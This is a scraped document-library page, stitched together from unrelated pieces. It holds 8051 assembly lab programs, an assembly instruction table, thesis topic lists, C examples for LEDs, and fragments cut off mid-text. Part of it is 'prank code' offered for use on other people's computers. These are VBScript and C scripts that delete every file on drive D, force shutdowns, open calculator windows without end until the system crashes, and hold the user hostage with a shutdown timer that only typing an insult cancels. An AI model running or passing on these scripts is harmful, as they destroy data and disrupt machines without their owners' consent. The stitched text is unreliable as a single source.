文档库 最新最全的文档下载
当前位置:文档库 › 单片机代码

单片机代码

单片机代码
单片机代码

实验一二:

ORG 0000H

* AJMP BEGIN ;转初始化程序段

ORG 0003H

LJMP PINT0;转外部中断0的中断服务程序

ORG 0100H

BEGIN: SETB EA ;初始化程序段

SETB EX0

SETB PX0

SETB IT0

MOV R0, #03H

MOV A, #0A8H

MOV @R0, A

MOV R1, #20H

MOV R2, #31H

MOV R0, #00H

MOV A, @R1

MOVX @R0, A

MOV R0, #03H

MOV A, #01H

MOVX @R0, A

CLR A

MOVX @R0, A

*LOOP: SJMP $

ORG 2000H

PINT0: MOV R0, #00H ;外部中断0的中断服务程序INC R1

MOV A, @R1

MOVX @R0, A

MOV R0, #02H

MOV A, #01H

MOVX @R0, A

CLR A

MOVX @R0, A

* DJNZ R2, NEXT

CLR EX0

SJMP DONE

NEXT: SETB EX0

DONE: RETI

END ORG 0000H

AJMP BEGIN

ORG 0030H

BEGIN: MOV R0, #00H ; 0=>R0

MOV R1, #11H ; 11H=>R1

MOV R6, #66H ; 66H=>R6

MOV R7, #77H ; 77H=>R7

MOV R0, 01H ; 将01单元中的数据=>R0 ①

MOV R6, 07H ; 将07单元中的数据=>R6

SETB RS0 ; 设置寄存器组为一组,RS1,RS0=01 ②MOV R0, 00H ; 将00单元中的数据=>寄存器一组中的R0 MOV R1, 01H ; 将01单元中的数据=>寄存器一组中的R1 MOV R7, 07H ; 将07单元中的数据=>寄存器一组中的R7 SETB RS1 ; 设置寄存器组为三组,RS1,RS0=11 ③MOV R6, 00H ; 将00单元中的数据=>寄存器三组中的R6 MOV R7, 17H ; 将17单元中的数据=>寄存器三组中的R7 MOV 20H , #00H ; 0=>20H单元④

MOV 2FH, #0FFH ; FFH=>2FH单元

SETB 00H ; 位地址00H置“1”⑤

SETB 07H ; 位地址07H置“1”

CLR 78H ; 位地址78H清“0”

CLR 7FH ; 位地址7FH清“0”

MOV 31H , #31H ;31H=>31H单元⑥

MOV 32H , #32H ;32H=>32H单元

CLR RS0 ; ⑦

CLR RS1 ; 设置寄存器组为0组,RS1,RS0=00 PUSH 00H ; 将00单元中的数据入栈

MOV SP , #30H ; 重新设置栈地址为30H ⑧

PUSH 00H ; 将00单元中的数据入栈

PUSH 01H ; 将01单元中的数据入栈⑨

POP 00H ; 弹出栈顶数据至00单元

POP 01H ; 弹出栈顶数据至01单元

AJMP $ ;

实验二:

ORG 0000H

AJMP BEGIN

ORG 0030H

BEGIN: MOV A, #0FH ; 0F=>A

MOV 0E0H, #0F0H ; F0H=>E0H单元SETB 0E0H ; 将位地址E0H置1 CLR 0E7H ; 将位地址E7H清零CLR C ; 清进位位

ADD A, #0FFH ;(A)+FFH=>A

ADDC A, #00H ;(A)+00H+CY=>A

SETB 0EAH ;将位地址EAH置1 MOV P1, #0FH ;0FH=>P1

SETB P1.7 ;将位地址97H置1 CLR P1.0 ;将位地址90H清零MOV DPL, #00H

MOV DPH, #20H ;DPTR=2000H

MOV TL0, #00H

MOV TH0, #10H ;TH0TL0=1000H

AJMP $

ORG 0000H

AJMP BEGIN

ORG 0030H

BEGIN: MOV DPTR, #0100H ; 100H=>DPTR CLR A ;0=>A MOVC A, @A+ DPTR ; (A+DPTR)=>A

MOVX @DPTR, A ;A=>(DPTR)

ADD A, #05H ;A+5=>A MOVC A, @A+ DPTR ; (A+DPTR)=>A

MOVX @DPTR, A ;A=>(DPTR)

INC DPTR ;DPTR+1=>DPTR

CLR A ;0=>A

MOVC A, @A+ DPTR ; (A+DPTR)=>A

MOVX @DPTR, A ;A=>(DPTR)

INC DPL ;DPL+1=>DPL

MOV A, #00H ;0=>A

MOVC A, @A+ DPTR ; (A+DPTR)=>A

MOVX @DPTR, A ;A=>(DPTR)

AJMP $

ORG 0100H

DB 01H, 02H, 03H, 04H, 05H, 06H, 07H, 08H, 09H 实验三:

ORG 0000H

AJMP MAIN

ORG 0030H

MAIN:

CLR P2.0 ;

MOV P0, #28H ;

LCALL DELAY ;

MOV P0, #0FFH ;

SETB P2.0

CLR P2.1 ;

MOV P0, #7EH ;

LCALL DELAY

MOV P0, #0FFH

SETB P2.1

CLR P2.2 ;

MOV P0, #0A2H ;

LCALL DELAY

MOV P0, #0FFH

SETB P2.2

CLR P2.3 ;

MOV P0, #62H ;

LCALL DELAY

MOV P0, #0FFH

SETB P2.3

CLR P2.4 ;

MOV P0, #74H ;

LCALL DELAY

MOV P0, #0FFH

SETB P2.4

CLR P2.5 ;

MOV P0, #61H ;

LCALL DELAY

MOV P0, #0FFH

SETB P2.5

CLR P2.6 ;

MOV P0, #21H ;

LCALL DELAY

MOV P0, #0FFH

SETB P2.6

CLR P2.7 ;

MOV P0, #7AH ;

LCALL DELAY

SETB P2.7

MOV P0, #0FFH

AJMP MAIN ; DELAY:;

MOV R7, #2

D1: MOV R6, #25

D2: DJNZ R6, D2

DJNZ R7, D1

RET

END

实验四:

org 0000h

ajmp main

org 0030h

main:

mov dptr,#tab ;将表头放入DPTR

lcall key ;调用键盘扫描程序

movc a,@a+dptr ;查表后将键值送入ACC

mov p0,a ;将Acc值送入P0口

CLR P2.1

ljmp main ;返回反复循环显示KEY: LCALL KS ;调用检测按键子程序JNZ K1 ;有键按下继续

LCALL DELAY2 ;无键按调用延时去抖

AJMP KEY ;返回继续检测按键

K1: LCALL DELAY2

LCALL DELAY2 ;有键按下延时去抖动

LCALL KS ;再调用检测按键程序

JNZ K2 ;确认有按下进行下一步

AJMP KEY ;无键按下返回继续检测K2: MOV R2,#0EFH ;将扫描值送入R2暂存MOV R4,#00H ;将第一列值送入R4暂存

K3: MOV P1,R2 ;将R2的值送入P1口

L6: JB P1.0,L1 ;P1.0等于1跳转到L1 MOV A,#00H ;将第一行值送入ACC

AJMP LK ;跳转到键值处理程序

L1: JB P1.1,L2 ;P1.1等于1跳转到L2 MOV A,#04H ;将第二行的行值送入ACC

AJMP LK ;跳转到键值理程序进行键值处理L2: JB P1.2,L3 ;P1.2等于1跳转到L3

MOV A,#08H ;将第三行的行值送入ACC

AJMP LK ;跳转到键值处理程

L3: JB P1.3,NEXT ;P1.3等于1跳转到NEXT处

MOV A,#0cH ;将第四行的行值送入ACC

LK: ADD A,R4 ;行值与列值相加后的键值送入A

PUSH ACC ;将A中的值送入堆栈暂存

K4: LCALL DELAY2 ;调用延时去抖动程序

LCALL KS ;调用按键检测程序

JNZ K4 ;按键没有松开继续返回检测

POP ACC ;将堆栈的值送入ACC

RET

NEXT:

INC R4 ;将列值加一

MOV A,R2 ;将R2的值送入A

JNB ACC.7,KEY ;扫描完至KEY处进行下一扫描

RL A ;扫描未完将A中的值右移一位进行下一列的扫描

MOV R2,A ;将ACC的值送入R2暂存

AJMP K3 ;跳转到K3继续

KS: MOV P1,#0FH ;将P1口高四位置0低四位值1

MOV A,P1 ;读P1口

XRL A,#0FH ;将A中的值与A中的值相异或

RET ;子程序返回

DELAY2: ;40ms延时去抖动子程序

MOV R5,#08H

L7: MOV R6,#0FAH

L8: DJNZ R6,L8

DJNZ R5,L7

RET

tab:

db

28h,34h,28h,34h,0a9h,60h,20h,7ah,20h,21h,61h,74h,30h,62h,0a2h,7eh ;0h0hc9878654a321 轮流显示键盘因为无法表达*# 就用H表示,B用8表示

End

单片机汇编指令大全

单片机汇编指令一览表 作者:乡下人 助记符指令说明字节数周期数 (数据传递类指令) MOV A,Rn 寄存器传送到累加器 1 1 MOV A,direct 直接地址传送到累加器 2 1 MOV A,@Ri 累加器传送到外部RAM(8 地址) 1 1 MOV A,#data 立即数传送到累加器 2 1 MOV Rn,A 累加器传送到寄存器 1 1 MOV Rn,direct 直接地址传送到寄存器 2 2 MOV Rn,#data 累加器传送到直接地址 2 1 MOV direct,Rn 寄存器传送到直接地址 2 1 MOV direct,direct 直接地址传送到直接地址 3 2 MOV direct,A 累加器传送到直接地址 2 1 MOV direct,@Ri 间接RAM 传送到直接地址 2 2 MOV direct,#data 立即数传送到直接地址 3 2 MOV @Ri,A 直接地址传送到直接地址 1 2 MOV @Ri,direct 直接地址传送到间接RAM 2 1 MOV @Ri,#data 立即数传送到间接RAM 2 2 MOV DPTR,#data16 16 位常数加载到数据指针 3 1 MOVC A,@A+DPTR 代码字节传送到累加器 1 2 MOVC A,@A+PC 代码字节传送到累加器 1 2 MOVX A,@Ri 外部RAM(8 地址)传送到累加器 1 2 MOVX A,@DPTR 外部RAM(16 地址)传送到累加器 1 2 MOVX @Ri,A 累加器传送到外部RAM(8 地址) 1 2 MOVX @DPTR,A 累加器传送到外部RAM(16 地址) 1 2 PUSH direct 直接地址压入堆栈 2 2 POP direct 直接地址弹出堆栈 2 2 XCH A,Rn 寄存器和累加器交换 1 1 XCH A, direct 直接地址和累加器交换 2 1 XCH A, @Ri 间接RAM 和累加器交换 1 1 XCHD A, @Ri 间接RAM 和累加器交换低4 位字节 1 1 (算术运算类指令) INC A 累加器加1 1 1 INC Rn 寄存器加1 1 1 INC direct 直接地址加1 2 1 INC @Ri 间接RAM 加1 1 1 INC DPTR 数据指针加1 1 2 DEC A 累加器减1 1 1 DEC Rn 寄存器减1 1 1 DEC direct 直接地址减1 2 2

数控机床单片机控制系统设计

简易数控机床控制系统设计 学号:0601302009 专业:机械电子工程姓名:浦汉军 2007,9,10 南宁任务: 设计以单片机为控制核心的简易数控机床的数字程序控制器。要求 1、能用键盘控制工作台沿+X、-X、+Y、-Y向运动,以校正工作台位置。 2、可用于加工直线和圆弧。 3、在运行过程中可人工干预而紧急停车。 4、能实现越界报警。 5、可与PC机通讯。 总体方案设计 一、数控系统硬件电路设计 选用MCS-51系列的8031CPU作为数控系统的中央处理机。外接一片EPROM用于存放控制程序、固定批量生产的工件加工程序和数据,再选用一片8kb的6264RAM作为存放试制工件或小批量生产的工件加工程序和数据。由于系统扩展,为使编程地址统一,采用74LS138译码器完成译码法对扩展芯片进行寻址的功能。还要考虑机床与单片机之间的光电隔离、功率放大电路。其设计框图如下图所示: 图1.1 总体设计框图 工作原理:单片机系统是机床数控系统的核心,通过键盘输入命令,数控装置送来的一系列连续脉冲通过环形分配器、光电耦合器和功率放大器,按一定的顺序分配给步进电动机各相绕组,使各相绕组按照预先规定的控制方式通电或断电,这样控制步进电动机带动工作台按照指令运动。1.各单元电路设计

CE :片选信号,低电平有效,输入 :读信号,低电平有效,输入 PGM :编程脉冲输入端,输入 Vpp :编程电压(典型值为12.5V) Vcc :电源(+5V) GND :接地(0V) D 0 11D 1 12D 2 13D 3 15D 4 16D 5 17D 6 18D 719A 010 A 19 A 28 A 37 A 46 A 55 A 64A 73 A 825 A 924 A 1021 A 1123 A 122 G ND 14 C E 20PGM 27V cc 28 V pp 1N C 26 O E 222764 :片选信号输入线,低电平有效。输出允 许编程 逻辑 译 码 输出缓冲 256 256存储矩阵 A12 A11 ``` A0 OE PGM CE D0 ``` D7

51单片机流水灯C语言源代码

#include #include #define uint unsigned int #define uchar unsigned char uchar z=50,e=0x00,f=0xff; uchar code table1[]={ 0x80,0xc0,0xe0,0xf0, 0xf8,0xfc,0xfe,0xff}; uchar code table2[]={ 0x7f,0x3f,0x1f,0x0f, 0x07,0x03,0x01,0x00}; uchar code table3[]={ 0x01,0x03,0x07,0x0f, 0x1f,0x3f,0x7f,0xff}; uchar code table4[]={ 0xe7,0xdb,0xbd,0x7e, 0xbd,0xdb,0xe7,0xff}; uchar code table5[]={ 0xe7,0xc3,0x81,0x00, 0x81,0xc3,0xe7,0xff}; uchar code table6[]={ 0x7e,0x3c,0x18,0x00, 0x18,0x3c,0x7e,0xff}; void delay(uchar); void lsd1(); void lsd2(); void lsd3(); void lsd4(); void lsd5(); void lsd6(); void lsd7(); void lsd8(); void lsd9(); void lsd10(); void lsd11(); void lsd12(); main() { while(1) { lsd1(); lsd2(); lsd3(); lsd4();

单片机蜂鸣器奏乐实验大全代码

单片机蜂鸣器奏乐实验大 全代码 This manuscript was revised by the office on December 10, 2020.

O R G0000H LJMP START ORG 000BH INC 20H ;中断服务,中断计数器加1 MOV TH0,#0D8H MOV TL0,#0EFH ;12M晶振,形成10毫秒中断 RETI START: MOV SP,#50H MOV TH0,#0D8H MOV TL0,#0EFH MOV TMOD,#01H MOV IE,#82H MUSIC0: NOP MOV DPTR,#DAT ;表头地址送DPTR MOV 20H,#00H ;中断计数器清0 MUSIC1: NOP CLR A MOVC A,@A+DPTR ;查表取代码 JZ END0 ;是00H,则结束 CJNE A,#0FFH,MUSIC5 LJMP MUSIC3 MUSIC5:NOP MOV R6,A INC DPTR MOV A,#0 MOVC A,@A+DPTR MOV R7,A SETB TR0 MUSIC2:NOP CPL MOV A,R6 MOV R3,A LCALL DEL MOV A,R7 CJNE A,20H,MUSIC2 MOV 20H,#00H INC DPTR LJMP MUSIC1 MUSIC3:NOP CLR TR0

MOV R2,#0DH MUSIC4:NOP MOV R2,#0FFH LCALL DEL DJNZ R2,MUSIC4 INC DPTR LJMP MUSIC1 END0:NOP MOV R2,#0FFH MUSIC6:MOV R3,#00H LJMP MUSIC0 DEL:NOP DEL3:MOV R4,#02H DEL4:NOP DJNZ R4,DEL4 NOP DJNZ R3,DEL3 RET NOP DAT: DB 18H, 30H, 1CH, 10H DB 20H, 40H, 1CH, 10H DB 18H, 10H, 20H, 10H DB 1CH, 10H, 18H, 40H DB 1CH, 20H, 20H, 20H DB 1CH, 20H, 18H, 20H DB 20H, 80H, 0FFH, 20H DB 30H, 1CH, 10H , 18H DB 20H, 15H, 20H , 1CH DB 20H, 20H, 20H , 26H DB 40H, 20H , 20H , 2BH DB 20H, 26H, 20H , 20H DB 20H, 30H , 80H , 0FFH DB 20H, 20H, 1CH , 10H DB 18H, 10H, 20H , 20H DB 26H, 20H , 2BH , 20H DB 30H, 20H , 2BH , 40H DB 20H, 20H , 1CH , 10H DB 18H, 10H, 20H, 20H DB 26H, 20H , 2BH, 20H DB 30H, 20H, 2BH , 40H DB 20H, 30H, 1CH , 10H DB 18H, 20H , 15H , 20H DB 1CH, 20H , 20H , 20H

单片机控制系统设计

成都大学工业制造学院 实习报告 课程名称:单片机实习 班级名称:测控1班 姓名:李金汉 实习时间:2010-5-20—2010-5-26 学号:200810114103 指导老师:吴老师

一、系统工作原理图

1、AT89C51工作原理 AT89C51 (1) AT89C51引脚介绍 40只引脚按功能分为四类: 电源引脚:VCC、GND

时钟引脚:XTAL1、XTAL2 输入/输出端口引脚: P0口:做双向I/O口使用;接片外存储器或扩展I/O接口时,分时复用为低8位地址总线和双向数据总线 P1口:做双向I/O口使用 P2口:做双向I/O口使用;接片外存储器或扩展I/O接口时,做高8位地址总线 P3口:做双向I/O口使用,还具有第二功能 控制引脚:PSEN、EA等 单片机中受引脚数目的限制,许多引脚都具有第二功能 单片机依然是三总线形式(地址总线、数据总线、控制总线): P0和P2组成16位地址总线; P0分时复用为数据总线; 由ALE、PSEN、EA、RST组成控制总线。 因为地址总线为16位,数据总线为8位,所以扩展片外存储器的寻址范围可达 216=64KB (2)AT89C51内部结构 AT89C51系列单片机内部CPU是一个字长为二进制8位的中央处理单元,也就是说它对数据的处理是按字节为单位进行的。 与微型计算机CPU类似,51系列单片机的CPU也是由运算器(ALU)、控制器和专用寄存器组三部分电路组成的。 运算器ALU(又称算术逻辑部件) 作用——进行加、减、乘、除的算术运算和与、或、非、异或等的逻辑运算。 控制器(又称定时控制部件) 作用——控制指令的译码和时钟的产生。 专用寄存器组 作用——指示当前要执行指令的内存地址、存放操作数和指示指令执行后的状态。 专用寄存器组包括:程序计数器PC、累加器A、通用寄存器B、程序状态字PSW、堆栈指针SP、数据指针DPTR等。 (3)AT89C51工作原理 AT89C51系列单片机的RST引脚为复位引脚,只要在RST引脚上出现一段时间的高电平,就可进行复位。 上电开机时,或者因为程序本身错误,又或者运行中受到外部干扰而“死机”,都需要对计算机进行复位; AT89C51系列单片机芯片有4个8位准双向输入输出接口:P0、P1、P2、P3。 属特殊功能寄存器,其口地址为80H、90H、A0H、B0H。 AT89C51单片机有P0、P1、P2和P3 4个8位并行I/O端口,每个端口各有8条I/O口线,每条I/O口线都能独立地用作输入或输出。各端口的功能不同,且结构上也有差异,通常P2口作为高8位地址线,P0口分时复用作为低8位地址线和8位数据线,P3口使用第二功能,P1口只能作为通用I/O口使用。P0口的输出级与P1~P3口的输出级在结构上不同,其输出级无上拉电阻,因此它们的负载能力和接口要求也不相同。 时序就是CPU在执行指令时所需控制信号的时间顺序,其单位有振荡周期、时钟周期、机器周期和指令周期。时钟信号产生方式有内部振荡方式和外部时钟方式两种。

51单片机实例(含详细代码说明)

1.闪烁灯 1.实验任务 如图4.1.1所示:在P1.0端口上接一个发光二极管L1,使L1在不停地一亮一灭,一亮一灭的时间间隔为0.2秒。 2.电路原理图 图4.1.1 3.系统板上硬件连线 把“单片机系统”区域中的P1.0端口用导线连接到“八路发光二极管指示模块”区域中的L1端口上。 4.程序设计内容 (1).延时程序的设计方法 作为单片机的指令的执行的时间是很短,数量大微秒级,因此,我们要 求的闪烁时间间隔为0.2秒,相对于微秒来说,相差太大,所以我们在 执行某一指令时,插入延时程序,来达到我们的要求,但这样的延时程 序是如何设计呢?下面具体介绍其原理:

如图4.1.1所示的石英晶体为12MHz,因此,1个机器周期为1微秒机器周期微秒 MOV R6,#20 2个 2 D1: MOV R7,#248 2个 2 2+2×248=498 20× DJNZ R7,$ 2个2×248 (498 DJNZ R6,D1 2个2×20=40 10002 因此,上面的延时程序时间为10.002ms。 由以上可知,当R6=10、R7=248时,延时5ms,R6=20、R7=248时, 延时10ms,以此为基本的计时单位。如本实验要求0.2秒=200ms, 10ms×R5=200ms,则R5=20,延时子程序如下: DELAY: MOV R5,#20 D1: MOV R6,#20 D2: MOV R7,#248 DJNZ R7,$ DJNZ R6,D2 DJNZ R5,D1 RET (2).输出控制 如图1所示,当P1.0端口输出高电平,即P1.0=1时,根据发光二极管 的单向导电性可知,这时发光二极管L1熄灭;当P1.0端口输出低电平, 即P1.0=0时,发光二极管L1亮;我们可以使用SETB P1.0指令使P1.0 端口输出高电平,使用CLR P1.0指令使P1.0端口输出低电平。 5.程序框图 如图4.1.2所示

vbs整人代码大集合 多年的代码收集

vbs整人代码大集合,收集的比较全,喜欢的朋友可以参考下。不要搞破坏,学习vbs的朋友非常有帮助,死循环的使用比较多。 一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> 复制代码代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "Y ou are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

基于单片机的设计

单片机类毕业设计 ·电子时钟的设计 ·全自动节水灌溉系统--硬件部分 ·数字式温度计的设计 ·温度监控系统设计 ·基于单片机的语音提示测温系统的研究 ·简易无线电遥控系统 ·数字流量计 ·基于单片机的全自动洗衣机 ·水塔智能水位控制系统 ·温度箱模拟控制系统 ·超声波测距仪的设计 ·基于51单片机的LED点阵显示屏系统的设计与实现16×16点阵显示屏·基于AT89S51单片机的数字电子时钟 ·基于单片机的步进电机的控制 ·基于单片机的交流调功器设计 ·基于单片机的数字电压表的设计 ·单片机的数字钟设计 ·智能散热器控制器的设计 ·单片机打铃系统设计 ·基于单片机的交通信号灯控制电路设计 ·基于单片机的远程控制家用电器系统设计 ·基于单片机的安全报警器 ·基于单片机的八路抢答器设计 ·基于单片机的超声波测距系统的设计 ·基于MCS-51数字温度表的设计 ·电子体温计的设计 ·基于AT89C51的远程控制系统 ·基于AVR单片机幅度可调的DDS信号发生器 ·基于单片机的数控稳压电源的设计 ·基于单片机的室一氧化碳监测及报警系统的研究 ·基于单片机的空调温度控制器设计 ·基于单片机的可编程多功能电子定时器 ·单片机的数字温度计设计 ·红外遥控密码锁的设计 ·基于61单片机的语音识别系统设计 ·家用可燃气体报警器的设计 ·基于数字温度计的多点温度检测系统 ·基于凌阳单片机的语音实时采集系统设计 ·基于单片机的数字频率计的设计 ·基于单片机的数字电子钟设计 ·设施环境中温度测量电路设计 ·汽车倒车防撞报警器的设计 ·篮球赛计时记分器

·基于单片机的家用智能总线式开关设计 ·设施环境中湿度检测电路设计 ·基于单片机的音乐合成器设计 ·设施环境中二氧化碳检测电路设计 ·基于单片机的水温控制系统设计 ·基于单片机的数字温度计的设计 ·基于单片机的火灾报警器 ·基于单片机的红外遥控开关设计 ·基于单片机的电子钟设计 ·基于单片机的红外遥控电子密码锁 ·大棚温湿度自动监控系统 ·基于单片机的电器遥控器的设计 ·单片机的语音存储与重放的研究 ·基于单片机的电加热炉温度控制系统设计·红外遥控电源开关 ·基于单片机的低频信号发生器设计 ·基于单片机的呼叫系统的设计 ·基于PIC16F876A单片机的超声波测距仪·基于单片机的密码锁设计 ·单片机步进电机转速控制器的设计 ·由AT89C51控制的太阳能热水器 ·防盗与恒温系统的设计与制作 ·AT89S52单片机实验系统的开发与应用 ·基于单片机控制的数字气压计的设计与实现·智能压力传感器系统设计 ·智能定时器 ·基于单片机的智能火灾报警系统 ·基于单片机的电子式转速里程表的设计 ·公交车汉字显示系统 ·单片机数字电压表的设计 ·精密VF转换器与MCS-51单片机的接口技术·基于单片机的居室安全报警系统设计 ·基于89C2051 IC卡读/写器的设计 ·PC机与单片机串行通信设计 ·球赛计时计分器设计 ·松下系列PCL五层电梯控制系统设计 ·自动起闭光控窗帘设计 ·单片机控制交通灯系统设计 ·基于单片机的电子密码锁 ·基于51单片机的多路温度采集控制系统·点阵电子显示屏--毕业设计 ·超声波测距仪--毕业设计 ·单片机对玩具小车的智能控制毕业设计论文·基于单片机控制的电机交流调速毕业设计论文

单片机编程全集(含源代码)

前言 (2) 基础知识:单片机编程基础 (2) 第一节:单数码管按键显示 (4) 第二节:双数码管可调秒表 (6) 第三节:十字路口交通灯 (7) 第四节:数码管驱动 (9) 第五节:键盘驱动 (10) 第六节:低频频率计 (15) 第七节:电子表 (18) 第八节:串行口应用 (19)

前言 本文是本人上课的一个补充,完全自写,难免有错,请读者给予指正,可发邮件到ZYZ@https://www.wendangku.net/doc/404144183.html,,或郑郁正@中国;以便相互学习。结合课堂的内容,课堂上的部分口述内容,没有写下来;有些具体内容与课堂不相同,但方法是相通的。https://www.wendangku.net/doc/404144183.html, 针对当前的学生情况,尽可能考虑到学生水平的两端,希望通过本文都学会单片机应用。如果有不懂的内容,不管是不是本课的内容,都可以提出来,这些知识往往代表一大部分同学的情况,但本人通常认为大家对这些知识已精通,而在本文中没有给予描述,由此影响大家的学习。对于这些提出问题的读者,本人在此深表谢意。 想深入详细学习单片机的同学,可以参考其它有关单片机的书籍和资料,尤其是外文资料。如果有什么问题,我们可以相互探讨和研究,共同学习。 本文根据教学的情况,随时进行修改和完善,所以欢迎同学随时注意本文档在课件中的更新情况。 基础知识:单片机编程基础 单片机的外部结构: 1、DIP40双列直插; 2、P0,P1,P2,P3四个8位准双向I/O引脚;(作为I/O输入时,要先输出高电平) 3、电源VCC(PIN40)和地线GND(PIN20); 4、高电平复位RESET(PIN9);(10uF电容接VCC与RESET,即可实现上电复位) 5、内置振荡电路,外部只要接晶体至X1(PIN18)和X0(PIN19);(频率为主频的12倍) 6、程序配置EA(PIN31)接高电平VCC;(运行单片机内部ROM中的程序) 7、P3支持第二功能:RXD、TXD、INT0、INT1、T0、T1 单片机内部I/O部件:(所为学习单片机,实际上就是编程控制以下I/O部件,完成指定任务) 1、四个8位通用I/O端口,对应引脚P0、P1、P2和P3; 2、两个16位定时计数器;(TMOD,TCON,TL0,TH0,TL1,TH1) 3、一个串行通信接口;(SCON,SBUF) 4、一个中断控制器;(IE,IP) https://www.wendangku.net/doc/404144183.html, 针对AT89C52单片机,头文件AT89x52.h给出了SFR特殊功能寄存器所有端口的定义。教科书的160页给出了针对MCS51系列单片机的C语言扩展变量类型。 C语言编程基础: 1、十六进制表示字节0x5a:二进制为01011010B;0x6E为01101110。 2、如果将一个16位二进数赋给一个8位的字节变量,则自动截断为低8位,而丢掉高8位。 3、++var表示对变量var先增一;var—表示对变量后减一。 4、x |= 0x0f;表示为 x = x | 0x0f; 5、TMOD = ( TMOD & 0xf0 ) | 0x05;表示给变量TMOD的低四位赋值0x5,而不改变TMOD的高四位。 6、While( 1 ); 表示无限执行该语句,即死循环。语句后的分号表示空循环体,也就是{;} 在某引脚输出高电平的编程方法:(比如P1.3(PIN4)引脚)

51单片机50个实例代码

51单片机50个例程代码程序里有中断,串口等驱动,直接复制即可使用1-IO输出-点亮1个LED灯方法1 /*----------------------------------------------- 名称:IO口高低电平控制 论坛:https://www.wendangku.net/doc/404144183.html, 编写:shifang 日期:2009.5 修改:无 内容:点亮P1口的一个LED灯 该程序是单片机学习中最简单最基础的, 通过程序了解如何控制端口的高低电平 ------------------------------------------------*/ #include //包含头文件,一般情况不需要改动, //头文件包含特殊功能寄存器的定义 sbit LED=P1^0;// 用sbit 关键字定义LED到P1.0端口, //LED是自己任意定义且容易记忆的符号 /*------------------------------------------------ 主函数 ------------------------------------------------*/ void main (void) { //此方法使用bit位对单个端口赋值 LED=1; //将P1.0口赋值1,对外输出高电平 LED=0; //将P1.0口赋值0,对外输出低电平 while (1) //主循环 { //主循环中添加其他需要一直工作的程序 } } 2-IO输出-点亮1个LED灯方法2 /*-----------------------------------------------

名称:IO口高低电平控制 论坛:https://www.wendangku.net/doc/404144183.html, 编写:shifang 日期:2009.5 修改:无 内容:点亮P1口的一个LED灯 该程序是单片机学习中最简单最基础的, 通过程序了解如何控制端口的高低电平 ------------------------------------------------*/ #include //包含头文件,一般情况不需要改动, //头文件包含特殊功能寄存器的定义 /*------------------------------------------------ 主函数 ------------------------------------------------*/ void main (void) { //此方法使用1个字节对单个端口赋值 P1 = 0xFF; //P1口全部为高电平,对应的LED灯全灭掉, //ff换算成二进制是1111 1111 P1 = 0xfe; //P1口的最低位点亮,可以更改数值是其他的灯点亮 //0xfe是16进制,0x开头表示16进制数, //fe换算成二进制是1111 1110 while (1) //主循环 { //主循环中添加其他需要一直工作的程序 } } 3-IO输出-点亮多个LED灯方法1 /*----------------------------------------------- 名称:IO口高低电平控制 论坛:https://www.wendangku.net/doc/404144183.html, 编写:shifang 日期:2009.5 修改:无 内容:点亮P1口的多个LED灯

c语言整人代码

C语言的自动关机程序和捉弄人的小程序 可以用C语言中的system()函数来实现系统的自动关机程序,可以设置多长时间后将自动关机。当然马上关机也是可以的,我们就可以恶搞别人计算机了(你事先得知道怎么解),将写好的自动关机程序复制到别人电脑,然后将可执行的 文件设为开机自动启动,别人每次开机的时候电脑都会莫名其妙的自动关闭。哈、更狠的是将自动关机程序改为自动重启程序(这是很容易的),后果你一定能想到了吧~还可以改进一下,就是每次开机的时候让用户输入“我是猪”,不然的话就20秒钟之后就自动关机或者自动重启~把“我是猪”换成其他的词说不定更好玩,比如“我爱你”、“我爱×××”之类,你觉得会有严重后果的就不要玩哦、 好啦,就说到这里,下面送上这两个程序的源代码。一个是自动关机程序,很简单,另一个是让用户输入“我是猪”不然就多长时间之后自动关机 源程序1: #include #include int main(void)

{ system("shutdown -f -s -t 100"); Sleep(5000); system("shutdown -a"); return 0; } 这个程序5秒后就取消了自动关机了,自己人不整自己人~ 源程序2: #include #include void main() { int i=0; char s[30]="dsad"; system("title 逗你玩"); system("mode con cols=48 lines=25"); system("color"); system("color FC"); system("shutdown -f -s -t 60 -c ""你是猪,哈哈,就输入“我是猪”这三个字嘛~"""); printf("哈哈,你是猪~~你的计算机马上就要自动关闭,除非你输入你是猪~~说的就是你,把这个窗口关掉也没有用哦~~\n"); printf("输入:"); while(strcmp(s,"我是猪")) { gets(s); if(strcmp(s,"我是猪")==0) { system("shutdown -a"); } system("cls"); i++; switch(i%3) { case 0: printf("不肯承认就要关机啦,哈哈~~很简单,输入你是猪嘛~~\n"); break; case 1: printf("你是猪你是猪你是猪你是猪,你是猪,要保存的东西快保存哦~\n"); break;

基于51单片机的温度控制系统的设计

